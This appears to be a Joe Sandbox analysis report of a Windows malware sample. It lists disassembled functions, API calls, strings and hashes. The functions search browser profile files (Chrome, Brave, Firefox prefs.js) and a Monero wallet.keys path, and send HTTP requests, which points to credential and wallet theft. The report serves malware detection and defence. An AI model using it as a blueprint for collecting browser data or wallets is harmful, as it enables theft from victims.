Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 6ae20a39afdf4f7cca7f57dc07f0f488976199e7687e36f0214e2c2fa8a58d51
Instruction ID: a8d29f27f419187fae0a012e211720e8456234d71c965f5e5decccce16710db5
Opcode Fuzzy Hash: 6ae20a39afdf4f7cca7f57dc07f0f488976199e7687e36f0214e2c2fa8a58d51
Instruction Fuzzy Hash: 3D42A576900104BBCB14FBB1DC96EEE733DAF54304F40455EB50A96181EE38AB59CBBA

Function 004B4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 004B492C
FindFirstFileA.KERNEL32(?,?), ref: 004B4943
StrCmpCA.SHLWAPI(?,004C0FDC), ref: 004B4971
StrCmpCA.SHLWAPI(?,004C0FE0), ref: 004B4987
FindNextFileA.KERNEL32(000000FF,?), ref: 004B4B7D
FindClose.KERNEL32(000000FF), ref: 004B4B92

Strings

%s\*, xrefs: 004B4920
%s\%s, xrefs: 004B49A4
%s\%s, xrefs: 004B49FB

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 01bdbd87bebbb78edfef9d765d7a284d61f2368b94f84bd8e24125c9ac1933a2
Instruction ID: 5b40e7b05781a1f6fa80322290cb2e067ded0719094cb130016abddcae3fadf4
Opcode Fuzzy Hash: 01bdbd87bebbb78edfef9d765d7a284d61f2368b94f84bd8e24125c9ac1933a2
Instruction Fuzzy Hash: F16144B5900218ABCB20EFE0DC85FEA73BDBB58700F04458DB60996141EB75EB85CFA5

Function 004A4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004A4839
Part of subcall function 004A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 004A4849

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004A4915
StrCmpCA.SHLWAPI(?,00FDF620), ref: 004A493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004A4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,004C0DDB,00000000,?,?,00000000,?,",00000000,?,00FDF630), ref: 004A4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004A4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004A4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004A4E49
InternetCloseHandle.WININET(00000000), ref: 004A4EAD
InternetCloseHandle.WININET(00000000), ref: 004A4EC5
HttpOpenRequestA.WININET(00000000,00FDF570,?,00FDEE18,00000000,00000000,00400100,00000000), ref: 004A4B15

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

InternetCloseHandle.WININET(00000000), ref: 004A4ECF

Strings

------, xrefs: 004A4C69
", xrefs: 004A4D33
", xrefs: 004A4BF2
------, xrefs: 004A4B28
------, xrefs: 004A49BD

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 8e892bcc4d193215cd756be0d0cc307e0e8afe3d5be86624ae063ecdb3af912c
Instruction ID: 0bfa7603911eb6faebd5b343c365ed55062d2d96849fd9ac0c01c16cf445de23
Opcode Fuzzy Hash: 8e892bcc4d193215cd756be0d0cc307e0e8afe3d5be86624ae063ecdb3af912c
Instruction Fuzzy Hash: AE121071910218AADB14FBA1DCA2FEEB338AF54304F50419EB10662491DF782F59CF7A

Function 004B3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004B3EC3
FindFirstFileA.KERNEL32(?,?), ref: 004B3EDA
StrCmpCA.SHLWAPI(?,004C0FAC), ref: 004B3F08
StrCmpCA.SHLWAPI(?,004C0FB0), ref: 004B3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 004B406C
FindClose.KERNEL32(000000FF), ref: 004B4081

Strings

%s\%s, xrefs: 004B3EB7

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 4d45f329ed346b8545055093ab16595bf3b715dbb799fb124eafa91c81358b91
Instruction ID: 901aa9cc6566109112852ac56254f8bf36abf445cd3efd1b1a2a2681895d5d4e
Opcode Fuzzy Hash: 4d45f329ed346b8545055093ab16595bf3b715dbb799fb124eafa91c81358b91
Instruction Fuzzy Hash: 3C5158B5900218ABCB24EBB0DC85FEA737DBB54304F00458DB65996180DB79EB85CF65

Function 004AF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004C15B8,004C0D96), ref: 004AF71E
StrCmpCA.SHLWAPI(?,004C15BC), ref: 004AF76F
StrCmpCA.SHLWAPI(?,004C15C0), ref: 004AF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 004AFAB1
FindClose.KERNEL32(000000FF), ref: 004AFAC3

Strings

prefs.js, xrefs: 004AF812

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: f6689959f76a0348f5af0bbcf15d60d203d6a6998d554448be13769f683eb344
Instruction ID: 5b6c4813d8112b4110ebea1150f3fae9824a09d44dd86bc31b7ff1c2ac3ecc8d
Opcode Fuzzy Hash: f6689959f76a0348f5af0bbcf15d60d203d6a6998d554448be13769f683eb344
Instruction Fuzzy Hash: B1B19675900108ABDB24FF71DC91FEE7379AF54304F4041AEA40A56151EF38AB59CBAA

Function 004A16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004C510C,?,?,?,004C51B4,?,?,00000000,?,00000000), ref: 004A1923
StrCmpCA.SHLWAPI(?,004C525C), ref: 004A1973
StrCmpCA.SHLWAPI(?,004C5304), ref: 004A1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004A1D40
DeleteFileA.KERNEL32(00000000), ref: 004A1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 004A1E20
FindClose.KERNEL32(000000FF), ref: 004A1E32

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Strings

\*.*, xrefs: 004A17F1

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 603d48739815e5500461a860a04db789f718490e8e34ad544438b2724318915e
Instruction ID: 4ce7fca079b0a96bf54d08f658b85dd4ae25a32d160449d0a7b93432899f2755
Opcode Fuzzy Hash: 603d48739815e5500461a860a04db789f718490e8e34ad544438b2724318915e
Instruction Fuzzy Hash: 83121171910118ABDB25FB61CCA6EEE7378AF54304F40459EB10662091EF386F99CFB9

Function 004ADA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004C14B0,004C0C2A), ref: 004ADAEB
StrCmpCA.SHLWAPI(?,004C14B4), ref: 004ADB33
StrCmpCA.SHLWAPI(?,004C14B8), ref: 004ADB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 004ADDCC
FindClose.KERNEL32(000000FF), ref: 004ADDDE

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 032b7767838bc909e3265639a56e12a7d6cd02f554efe2fc92f3828a66c7ac1d
Instruction ID: b52d186dc0996244bff4e5835130d1d755be71d978765974b3ab55f1cbe0d8df
Opcode Fuzzy Hash: 032b7767838bc909e3265639a56e12a7d6cd02f554efe2fc92f3828a66c7ac1d
Instruction Fuzzy Hash: 29919776900104A7CB14FBB1DC96DEE737DAB94304F40855EF80A96541EE38AB19CBBA

Function 004B7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

GetKeyboardLayoutList.USER32(00000000,00000000,004C05AF), ref: 004B7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 004B7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 004B7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 004B7C62
LocalFree.KERNEL32(00000000), ref: 004B7D22

Strings

/ , xrefs: 004B7C7F

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
